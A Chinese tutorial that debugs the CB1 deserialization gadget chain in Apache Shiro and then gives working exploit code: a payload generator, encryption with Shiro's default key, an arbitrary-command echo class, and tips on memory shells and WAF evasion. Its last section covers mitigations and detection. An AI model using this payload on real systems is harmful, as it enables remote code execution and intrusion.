Java反序列化漏洞深度剖析:从CB1链调试到实战利用
在Java安全领域,反序列化漏洞一直是攻击者最青睐的攻击向量之一。Apache Shiro框架的"记住我"功能曾因反序列化漏洞导致大规模安全风险,其中CB1(Commons BeanUtils 1)链因其稳定性和通用性成为经典攻击链。本文将带您深入Java反序列化漏洞的本质,通过亲手调试CB1链,理解从反序列化入口到最终命令执行的完整过程。
1. 环境准备与基础知识
1.1 实验环境搭建
要深入分析CB1链,我们需要准备以下环境:
- Java开发环境:JDK 8u112(与漏洞利用兼容性最佳)
- 依赖库:
- Apache Commons BeanUtils 1.8.3
- Apache Shiro-core 1.2.4
- 调试工具:
- IntelliJ IDEA(内置强大的调试功能)
- Burp Suite(用于拦截和修改HTTP请求)
关键配置步骤:
- 创建Maven项目并添加依赖:
<dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> <version>1.2.4</version> </dependency>- 配置Shiro的默认密钥(用于加密rememberMe cookie):
@Bean public DefaultWebSecurityManager securityManager() { DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager(); securityManager.setRealm(myRealm()); securityManager.setRememberMeManager(rememberMeManager()); return securityManager; } private RememberMeManager rememberMeManager() { CookieRememberMeManager rememberMeManager = new CookieRememberMeManager(); rememberMeManager.setCipherKey(Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")); return rememberMeManager; }1.2 反序列化漏洞基础概念
理解Java反序列化漏洞需要掌握几个核心概念:
序列化与反序列化:Java对象转换为字节流的过程称为序列化,反之则为反序列化。这个过程通过实现
Serializable接口来完成。Gadget链:一系列可被利用的类和方法调用链,通常包含:
- Source:反序列化入口点(如重写
readObject方法的类) - Sink:最终执行危险操作的点(如命令执行、文件操作)
- 连接点:中间的方法调用链
- Source:反序列化入口点(如重写
常见危险操作:
Runtime.exec():直接执行系统命令Method.invoke():通过反射调用任意方法ClassLoader.defineClass():动态加载恶意类
提示:在分析反序列化漏洞时,重点关注那些重写了readObject方法的类,它们往往是攻击链的起点。
2. CB1链核心组件分析
2.1 PriorityQueue:攻击链的起点
PriorityQueue是Java集合框架中的一个类,它之所以成为CB1链的起点,是因为:
- 它实现了
Serializable接口,支持序列化/反序列化 - 重写了
readObject方法,在反序列化时会执行自定义逻辑 - 是JDK自带类,不依赖第三方库
关键代码分析:
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // 读取默认字段 s.defaultReadObject(); // 读取队列大小 s.readInt(); // 初始化队列数组 queue = new Object[size]; // 读取队列元素 for (int i = 0; i < size; i++) queue[i] = s.readObject(); // 重建堆结构 heapify(); }在反序列化过程中,heapify()方法的调用是关键转折点,它将引导执行流进入我们的攻击链。
2.2 BeanComparator:方法调用的桥梁
BeanComparator是Apache Commons BeanUtils库中的比较器实现,它的核心作用在于:
- 实现了
Comparator接口,可用于排序操作 - 内部使用
PropertyUtils.getProperty()方法动态获取对象属性 - 通过反射机制调用任意getter方法
关键代码片段:
public int compare(Object o1, Object o2) { if (this.property == null) { return this.comparator.compare(o1, o2); } else { try { Object value1 = PropertyUtils.getProperty(o1, this.property); Object value2 = PropertyUtils.getProperty(o2, this.property); return this.comparator.compare(value1, value2); } catch (Exception e) { throw new RuntimeException(e.toString()); } } }攻击者可以通过控制property字段的值,诱导程序调用特定对象的getter方法,这是整个攻击链能够执行的关键。
2.3 TemplatesImpl:最终的命令执行点
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类是JDK自带的XSLT处理器实现,它之所以成为理想的攻击终点,是因为:
- 包含
_bytecodes字段,可以存储任意字节码 - 在
getOutputProperties()方法中会动态加载并执行这些字节码 - 是JDK自带类,无需额外依赖
攻击路径:
getOutputProperties() → newTransformer() → getTransletInstance() → defineTransletClasses()在defineTransletClasses()方法中,关键代码如下:
for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i], pd); // ...省略后续检查代码... }这个方法会使用自定义的ClassLoader加载并执行_bytecodes中的字节码,为攻击者提供了执行任意代码的能力。
3. 完整攻击链调试分析
3.1 攻击链全貌
CB1链的完整调用流程如下表所示:
| 序号 | 类名 | 方法名 | 关键条件 | 攻击者控制点 |
|---|---|---|---|---|
| 1 | PriorityQueue | readObject | 无 | 队列元素设置 |
| 2 | PriorityQueue | heapify | size >= 2 | 初始化时设置 |
| 3 | PriorityQueue | siftDown | comparator != null | 构造时传入 |
| 4 | PriorityQueue | siftDownUsingComparator | 同上 | 同上 |
| 5 | BeanComparator | compare | property != null | 反射设置 |
| 6 | PropertyUtils | getProperty | 对象有对应属性 | 控制对象和属性名 |
| 7 | TemplatesImpl | getOutputProperties | _bytecodes != null | 反射设置 |
| 8 | TemplatesImpl | defineTransletClasses | 字节码有效 | 注入恶意字节码 |
3.2 分步调试过程
让我们通过实际调试来验证整个攻击链:
设置断点:
- 在
PriorityQueue.readObject()方法入口处设置断点 - 在
BeanComparator.compare()方法处设置断点 - 在
TemplatesImpl.getOutputProperties()方法处设置断点
- 在
触发反序列化:
ByteArrayInputStream bais = new ByteArrayInputStream(serializedPayload); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); // 触发反序列化- 跟踪执行流程:
阶段1:PriorityQueue反序列化
- 读取默认字段和队列大小
- 逐个反序列化队列元素
- 调用
heapify()重建堆结构
阶段2:比较器调用
- 进入
siftDownUsingComparator - 调用
BeanComparator.compare() - 通过反射调用
TemplatesImpl.getOutputProperties()
- 进入
阶段3:字节码加载执行
defineTransletClasses()加载恶意字节码- 实例化恶意类
- 执行静态代码块或构造函数中的恶意代码
- 关键参数检查:
- 确保
PriorityQueue的size>=2 - 验证
BeanComparator的property字段已设置为"outputProperties" - 检查
TemplatesImpl的_bytecodes是否包含有效字节码
- 确保
注意:在实际调试中,可以使用条件断点来过滤无关的调用,例如只在
property字段为"outputProperties"时暂停执行。
3.3 漏洞利用条件总结
成功利用CB1链需要满足以下条件:
基本环境:
- 目标使用Shiro框架且未更新默认密钥
- 存在commons-beanutils依赖(1.8.x版本)
链构造条件:
- PriorityQueue初始化大小≥2
- 设置有效的BeanComparator
- 正确配置TemplatesImpl的字节码和必要字段
防御绕过:
- 如果存在RASP防护,可能需要混淆字节码
- 针对WAF需要特殊编码payload
4. 实战:构造完整攻击Payload
4.1 恶意类编写
首先创建一个简单的恶意类,用于验证漏洞:
public class Evil extends AbstractTranslet { public Evil() throws Exception { super(); Runtime.getRuntime().exec("open /Applications/Calculator.app"); } @Override public void transform(DOM document, SerializationHandler[] handlers) {} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {} }编译后获取其字节码:
ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(Evil.class.getName()); byte[] evilBytes = clazz.toBytecode();4.2 Payload生成器实现
完整的Payload生成代码如下:
public class CB1PayloadGenerator { public static byte[] generatePayload(byte[] evilBytes) throws Exception { // 1. 创建TemplatesImpl对象并设置字段 TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_bytecodes", new byte[][]{evilBytes}); setField(templates, "_name", "Pwned"); setField(templates, "_tfactory", new TransformerFactoryImpl()); // 2. 创建比较器链 BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); // 3. 创建PriorityQueue并设置比较器 PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator); queue.add("1"); queue.add("1"); // 4. 通过反射设置关键字段 setField(comparator, "property", "outputProperties"); setField(queue, "queue", new Object[]{templates, templates}); // 5. 序列化为字节数组 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(queue); oos.close(); return baos.toByteArray(); } private static void setField(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }4.3 Payload加密与测试
Shiro的rememberMe cookie使用AES加密,因此需要对Payload进行加密:
public class ShiroExploit { public static void main(String[] args) throws Exception { // 1. 生成恶意字节码 byte[] evilBytes = getEvilClassBytes(); // 2. 生成序列化Payload byte[] payload = CB1PayloadGenerator.generatePayload(evilBytes); // 3. 使用Shiro默认密钥加密 AesCipherService aes = new AesCipherService(); byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = aes.encrypt(payload, key); // 4. 输出Base64编码的Payload System.out.println("rememberMe=" + ciphertext.toString()); } private static byte[] getEvilClassBytes() throws Exception { // 实现同前,获取恶意类字节码 } }将生成的rememberMe值作为Cookie发送到目标服务器,如果漏洞存在,将触发计算器程序执行。
4.4 高级利用技巧
在实际渗透测试中,可能需要更复杂的技巧:
内存马注入:
- 修改字节码注入Filter/Servlet内存马
- 实现持久化后门
绕过限制:
- 使用BCEL编码绕过类名限制
- 分块传输规避WAF检测
回显优化:
- 实现命令执行结果回显
- 处理各种特殊情况(如无回显场景)
// 示例:带结果回显的恶意类 public class EchoEvil extends AbstractTranslet { public EchoEvil() throws Exception { String cmd = System.getProperty("evil.cmd"); Process p = Runtime.getRuntime().exec(cmd); InputStream is = p.getInputStream(); String result = new BufferedReader(new InputStreamReader(is)).lines() .collect(Collectors.joining("\n")); throw new RuntimeException(result); } // ...省略其他必要方法... }5. 防御建议与修复方案
5.1 临时缓解措施
对于无法立即升级的系统,可以考虑以下临时方案:
- 修改默认密钥:
// 在Shiro配置中设置随机密钥 byte[] newKey = new byte[16]; new SecureRandom().nextBytes(newKey); rememberMeManager.setCipherKey(newKey);- 禁用rememberMe功能:
# 在shiro.ini中配置 securityManager.rememberMeManager = null- 添加反序列化过滤器:
public class SafeObjectInputStream extends ObjectInputStream { private static final Set<String> BLACKLIST = Set.of( "org.apache.commons.beanutils.BeanComparator", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ); protected SafeObjectInputStream(InputStream in) throws IOException { super(in); } protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (BLACKLIST.contains(desc.getName())) { throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName()); } return super.resolveClass(desc); } }5.2 长期解决方案
升级相关组件:
- 升级Shiro到最新版本(≥1.7.0)
- 更新commons-beanutils到最新稳定版
安全开发实践:
- 避免反序列化不可信数据
- 使用白名单控制反序列化类
- 实施代码审计流程
运行时防护:
- 部署RASP解决方案
- 使用WAF拦截可疑请求
- 启用Java安全管理器
5.3 检测与监控
异常检测指标:
- 异常的rememberMe Cookie长度
- 频繁的反序列化操作
- 可疑的ClassLoader活动
日志监控建议:
-- 示例:检测可疑的Shiro活动 SELECT * FROM web_logs WHERE request_uri LIKE '%login%' AND request_cookies LIKE '%rememberMe=%' AND LENGTH(request_cookies) > 1024;- 应急响应流程:
- 确认漏洞利用迹象
- 隔离受影响系统
- 收集取证数据
- 应用修复方案
- 全面安全扫描